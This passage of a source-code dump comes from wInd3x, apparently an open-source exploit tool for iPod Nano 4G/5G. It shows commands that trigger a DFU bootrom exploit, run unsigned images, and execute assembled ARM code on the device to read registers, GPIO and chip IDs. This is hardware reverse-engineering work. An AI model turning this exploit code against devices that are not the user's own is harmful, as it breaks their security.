fmt.Errorf(\"could not get wtf payload: %s\", err)\n\t\t\t\t}\n\t\t\t\tslog.Info(\"Sending WTF...\")\n\t\t\t\tif err := dfu.SendImage(app.Usb, wtf, app.Desc.Kind.DFUVersion()); err != nil {\n\t\t\t\t\treturn fmt.Errorf(\"Failed to send image: %w\", err)\n\t\t\t\t}\n\t\t\t\tslog.Info(\"Waiting 10s for device to switch to WTF mode...\")\n\t\t\t\tctx, _ := context.WithTimeout(cmd.Context(), 10*time.Second)\n\t\t\t\tif err := app.waitSwitch(ctx, devices.WTF); err != nil {\n\t\t\t\t\treturn fmt.Errorf(\"device did not switch to WTF mode: %w\", err)\n\t\t\t\t}\n\t\t\t\ttime.Sleep(time.Second)\n\t\t\tcase devices.WTF:\n\t\t\t\trecovery, err := cache.Get(&app.App, cache.PayloadKindRecoveryUpstream)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn fmt.Errorf(\"could not get recovery payload: %s\", err)\n\t\t\t\t}\n\t\t\t\tslog.Info(\"Sending recovery firmware...\")\n\t\t\t\tfor i := 0; i < 10; i++ {\n\t\t\t\t\terr = dfu.SendImage(app.Usb, recovery, app.Desc.Kind.DFUVersion())\n\t\t\t\t\tif err == nil {\n\t\t\t\t\t\tbreak\n\t\t\t\t\t} else {\n\t\t\t\t\t\tslog.Error(\"Sending recovery failed\", \"err\", err)\n\t\t\t\t\t\ttime.Sleep(time.Second)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tslog.Info(\"Waiting 30s for device to switch to Recovery mode...\")\n\t\t\t\tctx, _ := context.WithTimeout(cmd.Context(), 30*time.Second)\n\t\t\t\tif err := app.waitSwitch(ctx, devices.Disk); err != nil {\n\t\t\t\t\treturn fmt.Errorf(\"device did not switch to Recovery mode: %w\", err)\n\t\t\t\t}\n\t\t\t\ttime.Sleep(time.Second)\n\t\t\tcase devices.Disk:\n\t\t\t\th := usbms.Host{\n\t\t\t\t\tEndpoints: app.MSEndpoints,\n\t\t\t\t}\n\t\t\t\tdi, err := h.IPodDeviceInformation()\n\t\t\t\tif err != nil {\n\t\t\t\t\tslog.Error(\"Could not get device information\", \"err\", err)\n\t\t\t\t} else {\n\t\t\t\t\tfmt.Printf(\"SerialNumber: %s\\n\", di.SerialNumber)\n\t\t\t\t\tfmt.Printf(\"     BuildID: %s\\n\", di.BuildID)\n\t\t\t\t}\n\n\t\t\t\tif restoreFull {\n\t\t\t\t\tpartsize := len(firmware)\n\t\t\t\t\tslog.Info(\"Reformatting system partition...\", \"mib\", partsize>>20)\n\t\t\t\t\tif err := h.IPodRepartition(partsize); err != nil {\n\t\t\t\t\t\treturn fmt.Errorf(\"repartitioning failed: %w\", err)\n\t\t\t\t\t}\n\t\t\t\t\tif hasBootloader {\n\t\t\t\t\t\tslog.Info(\"Writing bootloader...\")\n\t\t\t\t\t\tif err := h.IPodUpdateSendFull(usbms.IPodUpdateBootloader, bootloader); err != nil {\n\t\t\t\t\t\t\treturn fmt.Errorf(\"writing bootloader failed: %w\", err)\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tslog.Info(\"Writing firmware...\")\n\t\t\t\tif err := h.IPodUpdateSendFull(usbms.IPodUpdateFirmware, firmware); err != nil {\n\t\t\t\t\treturn fmt.Errorf(\"writing firmware failed: %w\", err)\n\t\t\t\t}\n\n\t\t\t\tif restoreFull {\n\t\t\t\t\tslog.Info(\"Finalizing...\")\n\t\t\t\t\tif err := h.IPodFinalize(false); err != nil {\n\t\t\t\t\t\treturn fmt.Errorf(\"rebooting failed: %w\", err)\n\t\t\t\t\t}\n\t\t\t\t\tslog.Info(\"Please reformat the main partition of the device as FAT32, otherwise it will refuse to boot.\")\n\t\t\t\t} else {\n\t\t\t\t\tslog.Info(\"Resetting...\")\n\t\t\t\t\tif err := h.IPodFinalize(true); err != nil {\n\t\t\t\t\t\treturn fmt.Errorf(\"rebooting failed: %w\", err)\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t},\n}\n"
  },
  {
    "path": "cmd/wInd3x/cmd_run.go",
    "content": "package main\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"log/slog\"\n\t\"os\"\n\n\t\"github.com/spf13/cobra\"\n\n\t\"github.com/freemyipod/wInd3x/pkg/dfu\"\n\t\"github.com/freemyipod/wInd3x/pkg/exploit/haxeddfu\"\n\t\"github.com/freemyipod/wInd3x/pkg/image\"\n)\n\nvar runCmd = &cobra.Command{\n\tUse:   \"run [dfu image path]\",\n\tShort: \"Run a DFU image on a device\",\n\tLong:  \"Run a DFU image (signed/encrypted or unsigned) on a connected device, starting haxed dfu mode first if necessary.\",\n\tArgs:  cobra.ExactArgs(1),\n\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\tapp, err := newDFU()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tdefer app.Close()\n\n\t\tif err := haxeddfu.Trigger(app.Usb, app.Ep, false); err != nil {\n\t\t\treturn fmt.Errorf(\"failed to run wInd3x exploit: %w\", err)\n\t\t}\n\n\t\tpath := args[0]\n\t\tslog.Info(\"Uploading...\", \"path\", path)\n\t\tdata, err := os.ReadFile(path)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"Failed to read image: %w\", err)\n\t\t}\n\n\t\t_, err = image.Read(bytes.NewReader(data))\n\t\tswitch {\n\t\tcase err == nil:\n\t\tcase err == image.ErrNotImage1:\n\t\t\tfallthrough\n\t\tcase len(data) < 0x400:\n\t\t\tslog.Info(\"Given firmware file is not IMG1, packing into one...\")\n\t\t\tdata, err = image.MakeUnsigned(app.Desc.Kind, 0, data)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\tdefault:\n\t\t\treturn err\n\t\t}\n\n\t\tif err := dfu.Clean(app.Usb); err != nil {\n\t\t\treturn fmt.Errorf(\"Failed to clean: %w\", err)\n\t\t}\n\t\tif err := dfu.SendImage(app.Usb, data, app.Desc.Kind.DFUVersion()); err != nil {\n\t\t\treturn fmt.Errorf(\"Failed to send image: %w\", err)\n\t\t}\n\t\tslog.Info(\"Image sent.\")\n\n\t\treturn nil\n\t},\n}\n"
  },
  {
    "path": "cmd/wInd3x/cmd_spew.go",
    "content": "package main\n\nimport (\n\t\"bytes\"\n\t\"encoding/binary\"\n\t\"fmt\"\n\t\"os\"\n\t\"strings\"\n\n\t\"github.com/freemyipod/wInd3x/pkg/app\"\n\t\"github.com/freemyipod/wInd3x/pkg/devices\"\n\t\"github.com/freemyipod/wInd3x/pkg/dfu\"\n\t\"github.com/freemyipod/wInd3x/pkg/exploit\"\n\t\"github.com/freemyipod/wInd3x/pkg/syscfg\"\n\t\"github.com/freemyipod/wInd3x/pkg/uasm\"\n\t\"github.com/spf13/cobra\"\n)\n\nfunc readFrom(app *app.App, addr uint32) ([]byte, error) {\n\tif err := dfu.Clean(app.Usb); err != nil {\n\t\treturn nil, fmt.Errorf(\"clean failed: %w\", err)\n\t}\n\n\tdump := uasm.Program{\n\t\tAddress: app.Ep.ExecAddr(),\n\t\tListing: app.Ep.HandlerFooter(addr),\n\t}\n\tres, err := exploit.RCE(app.Usb, app.Ep, dump.Assemble(), nil)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to execute dump payload: %w\", err)\n\t}\n\treturn res, nil\n}\n\nfunc readCP15(app *app.App, register, reg2, opc2 uint8) (uint32, error) {\n\tinsns := app.Ep.DisableICache()\n\tinsns = append(insns,\n\t\tuasm.Ldr{Dest: uasm.R1, Src: uasm.Constant(0x22000100)},\n\t\t// Read ID code.\n\t\tuasm.Mrc{CPn: 15, Opc: 0, Dest: uasm.R0, CRn: register, CRm: reg2, Opc2: opc2},\n\t\tuasm.Str{Src: uasm.R0, Dest: uasm.Deref(uasm.R1, 0)},\n\t)\n\tinsns = append(insns, app.Ep.HandlerFooter(0x22000100)...)\n\tprogram := uasm.Program{\n\t\tAddress: app.Ep.ExecAddr(),\n\t\tListing: insns,\n\t}\n\tif err := dfu.Clean(app.Usb); err != nil {\n\t\treturn 0, fmt.Errorf(\"clean failed: %w\", err)\n\t}\n\tdata, err := exploit.RCE(app.Usb, app.Ep, program.Assemble(), nil)\n\tif err != nil {\n\t\treturn 0, fmt.Errorf(\"Failed to read ID code: %w\", err)\n\t}\n\tvar idcode uint32\n\tbinary.Read(bytes.NewBuffer(data), binary.LittleEndian, &idcode)\n\treturn idcode, nil\n}\n\nfunc readCP14(app *app.App, opc2, reg2 uint8) (uint32, error) {\n\tinsns := app.Ep.DisableICache()\n\tinsns = append(insns,\n\t\tuasm.Ldr{Dest: uasm.R1, Src: uasm.Constant(0x22000100)},\n\t\t// Read ID code.\n\t\tuasm.Mrc{CPn: 14, Opc: 0, Dest: uasm.R0, CRn: 0, CRm: reg2, Opc2: opc2},\n\t\tuasm.Str{Src: uasm.R0, Dest: uasm.Deref(uasm.R1, 0)},\n\t)\n\tinsns = append(insns, app.Ep.HandlerFooter(0x22000100)...)\n\tprogram := uasm.Program{\n\t\tAddress: app.Ep.ExecAddr(),\n\t\tListing: insns,\n\t}\n\tif err := dfu.Clean(app.Usb); err != nil {\n\t\treturn 0, fmt.Errorf(\"clean failed: %w\", err)\n\t}\n\tdata, err := exploit.RCE(app.Usb, app.Ep, program.Assemble(), nil)\n\tif err != nil {\n\t\treturn 0, fmt.Errorf(\"Failed to read ID code: %w\", err)\n\t}\n\tvar idcode uint32\n\tbinary.Read(bytes.NewBuffer(data), binary.LittleEndian, &idcode)\n\treturn idcode, nil\n}\n\nfunc dumpCP15(app *app.App) {\n\tis1176 := false\n\tidcode, err := readCP15(app, 0, 0, 0)\n\tpartnum := (idcode >> 4) & 0xfff\n\tif err != nil {\n\t\tfmt.Printf(\"Failed to read ID Code: %v\", err)\n\t} else {\n\t\tfmt.Printf(\"ID code: 0x%08x\\n\", idcode)\n\t\tswitch (idcode >> 24) & 0xff {\n\t\tcase 'A':\n\t\t\tfmt.Printf(\"  Implementer: ARM\\n\")\n\t\tdefault:\n\t\t\tfmt.Printf(\"  Implementer: unknown (0x%02x)\\n\", (idcode>>24)&0xff)\n\t\t}\n\t\tfmt.Printf(\"  Variant: 0x%x\\n\", (idcode>>20)&0xf)\n\t\tswitch (idcode >> 16) & 0xf {\n\t\tcase 6:\n\t\t\tfmt.Printf(\"  Architecture: ARMv5TEJ\\n\")\n\t\tcase 0xf:\n\t\t\tfmt.Printf(\"  Architecture: See CPUID\\n\")\n\t\t\tis1176 = true\n\t\tdefault:\n\t\t\tfmt.Printf(\"  Architecture: unknown (%0x)\\n\", (idcode>>16)&0xf)\n\t\t}\n\t\tfmt.Printf(\"  Part number: %03x, Revision: %x\\n\", partnum, idcode&0xf)\n\t}\n\n\tfmt.Println(\"Extra Junk:\")\n\tfor _, el := range []struct {\n\t\tonly1176 bool\n\t\treg1     uint8\n\t\treg2     uint8\n\t\topc2     uint8\n\t\tdesc     string\n\t}{\n\t\t{false, 0, 0, 0, \"Main ID\"},\n\t\t{false, 0, 0, 1, \"Cache Type\"},\n\t\t{false, 0, 0, 2, \"TCM Status\"},\n\t\t{false, 0, 0, 3, \"TLB Type\"},\n\n\t\t{true, 0, 1, 0, \"Processor Feature 0\"},\n\t\t{true, 0, 1, 1, \"Processor Feature 1\"},\n\t\t{true, 0, 1, 2, \"Debug Feature 0\"},\n\t\t{true, 0, 1, 3, \"Auxiliary Feature 0\"},\n\t\t{true, 0, 1, 4, \"Memory Model Feature 0\"},\n\t\t{true, 0, 1, 5, \"Memory Model Feature 1\"},\n\t\t{true, 0, 1, 6, \"Memory Model Feature 2\"},\n\t\t{true, 0, 1, 7, \"Memory Model Feature 3\"},\n\n\t\t{true, 0, 2, 0, \"Instruction Set Feature Attribute 0\"},\n\t\t{true, 0, 2, 1, \"Instruction Set Feature Attribute 1\"},\n\t\t{true, 0, 2, 2, \"Instruction Set Feature Attribute 2\"},\n\t\t{true, 0, 2, 3, \"Instruction Set Feature Attribute 3\"},\n\t\t{true, 0, 2, 4, \"Instruction Set Feature Attribute 4\"},\n\t\t{true, 0, 2, 5, \"Instruction Set Feature Attribute 5\"},\n\n\t\t{false, 1, 0, 0, \"Control\"},\n\t\t{true, 1, 0, 1, \"Auxiliary Control\"},\n\t\t{true, 1, 0, 2, \"Coprocessor Access Control\"},\n\t\t{true, 1, 1, 0, \"Secure Configuration\"},\n\t\t{true, 1, 1, 1, \"Secure Debug Enable\"},\n\t\t{true, 1, 1, 2, \"Non-Secure Access Control\"},\n\n\t\t{false, 2, 0, 0, \"Translation Table Base 0\"},\n\t\t{true, 2, 0, 1, \"Translation Table Base 1\"},\n\t\t{true, 2, 0, 2, \"Translation Table Base Control\"},\n\n\t\t{false, 3, 0, 0, \"Domain Access Control\"},\n\t\t{true, 7, 4, 0, \"PCA\"},\n\t\t{true, 7, 10, 6, \"Cache Dirty Status\"},\n\n\t\t{false, 9, 0, 0, \"Data Cache Lockdown\"},\n\t\t{false, 9, 0, 1, \"Instruction Cache Lockdown\"},\n\t\t{false, 9, 1, 0, \"Data TCM Region\"},\n\t\t{false, 9, 1, 1, \"Instruction TCM Region\"},\n\t\t{true, 9, 1, 2, \"Data TCM Non-secure Control Access\"},\n\t\t{true, 9, 1, 3, \"Instruction TCM Non-secure Control Access\"},\n\t\t{true, 9, 2, 0, \"TCM Selection\"},\n\t\t{true, 9, 8, 0, \"Cache Behavior Override\"},\n\t} {\n\t\tif el.only1176 && !is1176 {\n\t\t\tcontinue\n\t\t}\n\t\t// Ugly hack to skip some CP15 reads on Cortex A5 (N7G)\n\t\t// TODO(q3k): clean all of this up\n\t\tif partnum == 0xc05 && el.reg1 > 3 {\n\t\t\tcontinue\n\t\t}\n\t\tres, err := readCP15(app, el.reg1, el.reg2, el.opc2)\n\t\tfmt.Printf(\"  CP15 c%d,c%d,%d (%s): \", el.reg1, el.reg2, el.opc2, el.desc)\n\t\tif err != nil {\n\t\t\tfmt.Printf(\"error: %v\\n\", err)\n\t\t} else {\n\t\t\tfmt.Printf(\"%08x\\n\", res)\n\t\t}\n\t}\n}\n\ntype peripheral struct {\n\tname      string\n\tregisters []register\n}\n\ntype register struct {\n\tname    string\n\taddress uint32\n\tparse   func(v uint32)\n}\n\nvar n3gates = map[int]string{\n\t0x00: \"SHA\",\n\t0x01: \"LCD\",\n\t0x02: \"USBOTG\",\n\t0x03: \"SMx\",\n\t0x04: \"SM1\",\n\t0x0A: \"AES\",\n\t0x08: \"NAND\",\n\t0x0C: \"NANDECC\",\n\t0x19: \"DMAC0\",\n\t0x1A: \"DMAC1\",\n\t0x1E: \"ROM\",\n\t0x22: \"SPI0\",\n\t0x23: \"USBPHY\",\n\t0x2B: \"SPI1\",\n\t0x2C: \"GPIO\",\n\t0x2E: \"CHIPID\",\n\t0x2F: \"SPI2\",\n}\n\nfunc printN3Gates(v uint32) {\n\tvar gates []string\n\tfor i := 0; i < 32; i++ {\n\t\tif (v & (1 << i)) == 0 {\n\t\t\tgate := n3gates[i]\n\t\t\tif gate == \"\" {\n\t\t\t\tgate = fmt.Sprintf(\"%d\", i)\n\t\t\t}\n\t\t\tgates = append(gates, gate)\n\t\t}\n\t}\n\tfmt.Printf(\"%08x, %s\\n\", v, strings.Join(gates, \",\"))\n}\n\nvar peripherals = map[devices.Kind][]peripheral{\n\tdevices.Nano5: []peripheral{\n\t\t{name: \"CHIPID\", registers: []register{\n\t\t\t// eg. 00000001\n\t\t\t{name: \"CID_VALID\", address: 0x3d10_0000},\n\t\t\t// eg. 19000011\n\t\t\t{name: \"CHIPIDL\", address: 0x3d10_0004},\n\t\t\t// eg. 8730000b\n\t\t\t{name: \"CHIPIDH\", address: 0x3d10_0008},\n\t\t\t{name: \"DIEIDL\", address: 0x3d10_000C},\n\t\t\t{name: \"DIEIDH\", address: 0x3d10_0010},\n\t\t\t// eg. 00000004\n\t\t\t{name: \"ECID_VERSION\", address: 0x3d10_0014},\n\t\t}},\n\t},\n\tdevices.Nano3: []peripheral{\n\t\t{name: \"CLKGEN\", registers: []register{\n\t\t\t{name: \"CLKCON0\", address: 0x3c50_0000},\n\t\t\t{name: \"CLKCON1\", address: 0x3c50_0004},\n\t\t\t{name: \"CLKCON2\", address: 0x3c50_0008},\n\t\t\t{name: \"CLKCON3\", address: 0x3c50_000C},\n\t\t\t{name: \"CLKCON4\", address: 0x3c50_0010},\n\t\t\t{name: \"CLKCON5\", address: 0x3c50_0014},\n\n\t\t\t{name: \"PLL0PMS\", address: 0x3c50_0020},\n\t\t\t{name: \"PLL1PMS\", address: 0x3c50_0024},\n\t\t\t{name: \"PLL2PMS\", address: 0x3c50_0028},\n\n\t\t\t{name: \"PLLCNT0\", address: 0x3c50_0030},\n\t\t\t{name: \"PLLCNT1\", address: 0x3c50_0034},\n\t\t\t{name: \"PLLCNT2\", address: 0x3c50_0038},\n\n\t\t\t{name: \"PLLLOCK\", address: 0x3c50_0040},\n\t\t\t{name: \"PLLMODE\", address: 0x3c50_0044},\n\n\t\t\t{name: \"GATES0\", address: 0x3c50_0048, parse: func(v uint32) {\n\t\t\t\tprintN3Gates(v)\n\t\t\t}},\n\t\t\t{name: \"GATES1\", address: 0x3c50_004C, parse: func(v uint32) {\n\t\t\t\tprintN3Gates(v + 0x20)\n\t\t\t}},\n\t\t\t{name: \"SWRCON\", address: 0x3c50_0050},\n\t\t\t{name: \"RSTSR\", address: 0x3c50_0054},\n\t\t\t{name: \"PWRCON2\", address: 0x3c50_0058},\n\t\t\t{name: \"PWRMOD2\", address: 0x3c50_0060},\n\t\t\t{name: \"PWRCON3\", address: 0x3c50_0068},\n\t\t\t{name: \"PWRCON4\", address: 0x3c50_006c},\n\t\t}},\n\t\t{name: \"WATCHDOG\", registers: []register{\n\t\t\t{name: \"WDTCON\", address: 0x3c80_0000},\n\t\t\t{name: \"WDTCNT\", address: 0x3c80_0004},\n\t\t}},\n\t\t{name: \"CHIPID\", registers: []register{\n\t\t\t{name: \"CHIPIDUNK\", address: 0x3d10_0000},\n\t\t\t// eg. 84000019\n\t\t\t{name: \"CHIPIDL\", address: 0x3d10_0004},\n\t\t\t// eg. 00008702\n\t\t\t{name: \"CHIPIDH\", address: 0x3d10_0008},\n\t\t\t{name: \"DIEIDL\", address: 0x3d10_000C},\n\t\t\t{name: \"DIEIDH\", address: 0x3d10_0010},\n\t\t}},\n\t\t{name: \"EDGEIC\", registers: []register{\n\t\t\t{name: \"UNK0\", address: 0x38e0_2000},\n\t\t\t{name: \"UNK4\", address: 0x38e0_2004},\n\t\t\t{name: \"UNK8\", address: 0x38e0_2008},\n\t\t\t{name: \"UNKC\", address: 0x38e0_200c},\n\t\t}},\n\t\t// Named per N3G/N4G rockbox branch.\n\t\t{name: \"SYSALV\", registers: []register{\n\t\t\t{name: \"ALVCON\", address: 0x39a0_0000},\n\t\t\t{name: \"ALVUNK4\", address: 0x39a0_0004},\n\t\t\t{name: \"ALVUNK100\", address: 0x39a0_0100},\n\t\t\t{name: \"ALVUNK104\", address: 0x39a0_0104},\n\n\t\t\t{name: \"ALVTCOM\", address: 0x39a0_006c},\n\t\t\t{name: \"ALVTEND\", address: 0x39a0_0070},\n\t\t\t{name: \"ALVTDIV\", address: 0x39a0_0074},\n\t\t\t{name: \"ALVTCNT\", address: 0x39a0_0078},\n\t\t\t{name: \"ALVTSTAT\", address: 0x39a0_007c},\n\t\t}},\n\t},\n}\n\nvar spewCmd = &cobra.Command{\n\tUse:   \"spew\",\n\tShort: \"Display information about the connected device\",\n\tLong:  \"Displays SysCfg, GPIO, ... info from the connected device. Useful for reverse engineering and development.\",\n\tArgs:  cobra.ExactArgs(0),\n\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\tapp, err := newDFU()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tdefer app.Close()\n\n\t\tfmt.Println(\"\\nCP15\")\n\t\tfmt.Println(\"----\")\n\n\t\tdumpCP15(&app.App)\n\n\t\tfmt.Println(\"\\nCP14 (debug)\")\n\t\tfmt.Println(\"----\")\n\n\t\tfmt.Printf(\"  DIDR: \")\n\t\tdidr, err := readCP14(&app.App, 0, 0)\n\t\tif err != nil {\n\t\t\tfmt.Printf(\"error: %v\\n\", err)\n\t\t} else {\n\t\t\t// 0x1512_1004\n\t\t\t// Watchpoint pairs: 1\n\t\t\t// Breakpoint pairs: 5\n\t\t\t// Breakpoint pairs with context ID: 1\n\t\t\t// Debug architecture: 2 (v6.1)\n\t\t\t// Trustzone Features\n\t\t\t// Revision: 4, Variant: 0,\n\t\t\tfmt.Printf(\"0x%08x\\n\", didr)\n\t\t}\n\n\t\tfmt.Printf(\"  DSCR: \")\n\t\tdscr, err := readCP14(&app.App, 0, 1)\n\t\tif err != nil {\n\t\t\tfmt.Printf(\"error: %v\\n\", err)\n\t\t} else {\n\t\t\t// 0x0000_0002\n\t\t\tfmt.Printf(\"0x%08x\\n\", dscr)\n\t\t}\n\n\t\tfmt.Println(\"\\nSysCfg\")\n\t\tfmt.Println(\"------\")\n\n\t\tsyscfgBuf := bytes.NewBuffer(nil)\n\t\terr = readNOR(&app.App, syscfgBuf, 0, 0, 0x100)\n\t\tif err != nil {\n\t\t\tfmt.Printf(\"Failed to read syscfg: %v\\n\", err)\n\t\t} else {\n\n\t\t\tscfg, err := syscfg.Parse(syscfgBuf)\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(\"failed to parse syscfg: %w\", err)\n\t\t\t}\n\t\t\tscfg.Debug(os.Stdout)\n\t\t}\n\n\t\tfor _, p := range peripherals[app.Desc.Kind] {\n\t\t\tfmt.Printf(\"\\n%s\\n\", p.name)\n\t\t\tfmt.Printf(\"%s\\n\", strings.Repeat(\"-\", len(p.name)))\n\t\t\tfor _, reg := range p.registers {\n\t\t\t\tdata, err := readFrom(&app.App, reg.address)\n\t\t\t\tfmt.Printf(\"  %s: \", reg.name)\n\t\t\t\tif err != nil {\n\t\t\t\t\tfmt.Printf(\"error: %v\\n\", err)\n\t\t\t\t} else {\n\t\t\t\t\tvar u32 uint32\n\t\t\t\t\tbinary.Read(bytes.NewBuffer(data), binary.LittleEndian, &u32)\n\t\t\t\t\tif reg.parse != nil {\n\t\t\t\t\t\treg.parse(u32)\n\t\t\t\t\t} else {\n\t\t\t\t\t\tfmt.Printf(\"%08x\\n\", u32)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tfmt.Println(\"\\nGPIO\")\n\t\tfmt.Println(\"----\")\n\n\t\tfmt.Printf(\"                     01234567\\n\")\n\t\t// TODO: parametrize this per generation? Or are we lucky and the GPIO\n\t\t// periphs are always at the same addrs?\n\t\tfor i := 0; i < 16; i++ {\n\t\t\taddr := 0x3cf0_0000 + i*0x20\n\t\t\tdata, err := readFrom(&app.App, uint32(addr))\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(\"could not read GPIO %d: %w\", i, err)\n\t\t\t}\n\t\t\tbuf := bytes.NewBuffer(data)\n\t\t\tvar con, dat uint32\n\t\t\tbinary.Read(buf, binary.LittleEndian, &con)\n\t\t\tbinary.Read(buf, binary.LittleEndian, &dat)\n\n\t\t\tstate := \"\"\n\t\t\tdir := \"\"\n\t\t\tfor j := 0; j < 8; j++ {\n\t\t\t\tif ((dat >> j) & 1) == 1 {\n\t\t\t\t\tstate += \"H\"\n\t\t\t\t} else {\n\t\t\t\t\tstate += \"_\"\n\t\t\t\t}\n\n\t\t\t\tc := (con >> (j * 4)) & 0xf\n\t\t\t\tswitch c {\n\t\t\t\tcase 0:\n\t\t\t\t\tdir += \"i\"\n\t\t\t\tcase 1:\n\t\t\t\t\tdir += \"O\"\n\t\t\t\tcase 2, 3, 4, 5, 6:\n\t\t\t\t\tdir += fmt.Sprintf(\"%d\", c) // alternate function\n\t\t\t\tdefault:\n\t\t\t\t\tdir += \"?\"\n\t\t\t\t}\n\t\t\t}\n\t\t\tfmt.Printf(\"GPIO %03d-%03d: state: %s\\n\", i*8, i*8+7, state)\n\t\t\tfmt.Printf(\"                dir: %s\\n\", dir)\n\t\t}\n\n\t\treturn nil\n\t},\n}\n"
  },
  {
    "path": "cmd/wInd3x/main.go",
    "content": "package main\n\nimport (\n\t\"flag\"\n\t\"fmt\"\n\t\"log/slog\"\n\t\"strconv\"\n\t\"strings\"\n\n\t\"github.com/spf13/cobra\"\n\t\"github.com/spf13/pflag\"\n)\n\nvar rootCmd = &cobra.Command{\n\tUse:   \"wInd3x\",\n\tShort: \"wInd3x is an exploit tool for the iPod Nano 4G/5G\",\n\tLong: `Allows to decrypt firmware files, generate DFU images and run unsigned DFU\nimages on the Nano 4G/5G.\n\nCopyright 2022 q3k, user890104. With help from zizzy and d42.\n\nwInd3x comes with ABSOLUTELY NO WARRANTY. This is free software, and you are\nwelcome to redistribute it under certain conditions; see COPYING file\naccompanying distribution for details.`,\n\tSilenceUsage: true,\n}\n\nvar verboseLog bool\n\nfunc main() {\n\tslog.SetLogLoggerLevel(slog.LevelDebug)\n\n\tmakeDFUCmd.Flags().StringVarP(&makeDFUEntrypoint, \"entrypoint\", \"e\", \"0x0\", \"Entrypoint offset for image (added to load address == 0x2200_0000)\")\n\tmakeDFUCmd.Flags().StringVarP(&makeDFUDeviceKind, \"kind\", \"k\", \"\", \"Device kind (one of 'n4g', 'n5g')\")\n\tdecryptCmd.Flags().StringVarP(&decryptRecovery, \"recovery\", \"r\", \"\", \"EXPERIMENTAL: Path to temporary file used for recovery when restarting the transfer\")\n\trestoreCmd.Flags().BoolVarP(&restoreFull, \"full\", \"f\", false, \"Perform full restore, including repartition and bootloader install. If true, you will have to manually reformat the main partition as FAT32, otherwise the device will seem bricked.\")\n\trestoreCmd.Flags().StringVarP(&restoreVersion, \"version\", \"V\", \"current\", \"Restore to some older version instead of 'current' from Apple. Use 'list' to show available.\")\n\tmseExtractCmd.Flags().StringVarP(&extractDir, \"out\", \"o\", \"\", \"Directory to extract to (default: current working directory)\")\n\trootCmd.CompletionOptions.DisableDefaultCmd = true\n\trootCmd.PersistentFlags().BoolVarP(&verboseLog, \"verbose\", \"v\", false, \"Enable verbose debug logging\")\n\trootCmd.AddCommand(haxDFUCmd)\n\trootCmd.AddCommand(runCmd)\n\trootCmd.AddCommand(makeDFUCmd)\n\trootCmd.AddCommand(dumpCmd)\n\trootCmd.AddCommand(decryptCmd)\n\tnandCmd.AddCommand(nandReadCmd)\n\tnandCmd.AddCommand(nandIdentifyCmd)\n\trootCmd.AddCommand(nandCmd)\n\tnorCmd.AddCommand(norReadCmd)\n\trootCmd.AddCommand(norCmd)\n\trootCmd.AddCommand(spewCmd)\n\tcfwCmd.AddCommand(cfwRunCmd)\n\tcfwCmd.AddCommand(cfwSuperdiagsCmd)\n\trootCmd.AddCommand(cfwCmd)\n\trootCmd.AddCommand(restoreCmd)\n\tmseCmd.AddCommand(mseExtractCmd)\n\trootCmd.AddCommand(mseCmd)\n\trootCmd.AddCommand(downloadCmd)\n\trootCmd.Execute()\n}\n\nfunc init() {\n\tpflag.CommandLine.AddGoFlagSet(flag.CommandLine)\n}\n\nfunc parseNumber(s string) (uint32, error) {\n\tvar err error\n\tvar res uint64\n\tif strings.HasPrefix(strings.ToLower(s), \"0x\") {\n\t\tres, err = strconv.ParseUint(s[2:], 16, 32)\n\t\tif err != nil {\n\t\t\treturn 0, fmt.Errorf(\"invalid number\")\n\t\t}\n\t} else {\n\t\tres, err = strconv.ParseUint(s, 10, 32)\n\t\tif err != nil {\n\t\t\tres, err = strconv.ParseUint(s, 16, 32)\n\t\t\tif err != nil {\n\t\t\t\treturn 0, fmt.Errorf(\"invalid number\")\n\t\t\t}\n\t\t}\n\t}\n\treturn uint32(res), nil\n}\n"
  },
  {
    "path": "default.nix",
    "content": "{ system ? builtins.currentSystem, ... }:\n\nlet\n  nixpkgsCommit = \"8f3e1f807051e32d8c95cd12b9b421623850a34d\";\n  nixpkgsSrc = fetchTarball {\n    url = \"https://github.com/NixOS/nixpkgs/archive/${nixpkgsCommit}.tar.gz\";\n    sha256 = \"sha256:1cpsxhm3fwsyf5shr35kirj1ajz8iy601q37xi3ma4f8dxd4vagy\";\n  };\n  nixpkgs = import nixpkgsSrc { inherit system; };\n\nin with nixpkgs;\n\nbuildGoModule {\n  name = \"wInd3x\";\n  src = ./.;\n\n  buildInputs = [ libusb1 ];\n  nativeBuildInputs = [ pkg-config ];\n\n  checkPhase = \"true\";\n\n  vendorHash = \"sha256-Is7FCtoKmC/B2ktuysNHoxXUP+TPRs/0C2ZzdKgq0rE=\";\n}\n"
  },
  {
    "path": "go.mod",
    "content": "module github.com/freemyipod/wInd3x\n\ngo 1.23.0\n\ntoolchain go1.23.3\n\nrequire (\n\tgithub.com/adrg/xdg v0.4.0\n\tgithub.com/google/gousb v1.1.1\n\tgithub.com/hashicorp/go-multierror v1.1.1\n\tgithub.com/spf13/cobra v1.5.0\n\tgithub.com/spf13/pflag v1.0.5\n\tgithub.com/tetratelabs/wazero v1.0.0-pre.1\n\tgithub.com/ulikunitz/xz v0.5.12\n\tgolang.org/x/exp v0.0.0-20250305212735-054e65f0b394\n\thowett.net/plist v1.0.0\n)\n\nrequire (\n\tgithub.com/hashicorp/errwrap v1.0.0 // indirect\n\tgithub.com/inconshreveable/mousetrap v1.0.0 // indirect\n\tgolang.org/x/sys v0.0.0-20220412211240-33da011f77ad // indirect\n)\n\n// Necessary for https://github.com/DHowett/go-plist/pull/76\nreplace howett.net/plist v1.0.0 => github.com/q3k/go-plist v0.0.0-20230225213725-6b5035fad602\n"
  },
  {
    "path": "go.sum",
